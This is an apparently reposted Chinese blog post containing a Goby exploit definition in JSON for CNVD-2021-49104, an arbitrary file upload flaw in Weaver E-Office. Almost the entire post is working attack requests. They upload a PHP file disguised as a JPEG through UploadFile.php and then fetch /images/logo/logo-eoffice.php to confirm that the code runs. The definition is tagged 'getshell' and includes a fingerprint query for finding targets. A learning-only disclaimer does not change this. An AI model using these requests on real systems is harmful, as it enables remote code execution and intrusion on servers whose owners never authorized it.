标签：php CNVD data 2021 variable logo operation 49104 type
CNVD-2021-49104 goby exp
声明
本程序仅供于学习交流，请使用者遵守《中华人民共和国网络安全法》，勿将此脚本用于非授权的测试，脚本开发者不负任何连带法律责任。
代码
{
"Name": "泛微 EOffice Arbitrary File Upload CNVD-2021-49104",
"Level": "3",
"Tags": [
"getshell"
],
"GobyQuery": "(app=\"泛微-EOffice\" | app=\"EOffice\")",
"Description": "泛微 EOffice 存在任意文件上传",
"Product": "https://www.weaver.com.cn/",
"Homepage": "https://gobies.org/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247486095&idx=1&sn=950550f05795d6ae64842a2f3a5b0eca"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=",
"follow_redirect": false,
"header": {
"Content-Type": "multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4"
},
"data_type": "text",
"data": "--e64bdf16c554bbc109cecef6451c26a4\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.php\"\nContent-Type: image/jpeg\n\n<?php\nprint \"test\";\n?>\n\n--e64bdf16c554bbc109cecef6451c26a4--",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "logo-eoffice.php",
"bz": ""
}
]
},
"SetVariable": [
"output|define||访问"
]
},
{
"Request": {
"method": "GET",
"uri": "/images/logo/logo-eoffice.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=",
"follow_redirect": false,
"header": {
"Content-Type": "multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4"
},
"data_type": "text",
"data": "--e64bdf16c554bbc109cecef6451c26a4\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test1.php\"\nContent-Type: image/jpeg\n\n<?php\nphpinfo();\n?>\n\n--e64bdf16c554bbc109cecef6451c26a4--",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "logo-eoffice.php",
"bz": ""
}
]
},
"SetVariable": [
"output|define||/images/logo/logo-eoffice.php"
]
}
],
"PostTime": "2021-11-29 10:13:59",
"GobyVersion": "1.9.310"
}
poc集合
地址：https://github.com/aetkrad/goby_poc
帮助到你的话给个星吧！
标签：php,CNVD,data,2021,variable,logo,operation,49104,type 来源： https://blog.csdn.net/cch139745/article/details/121638921
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。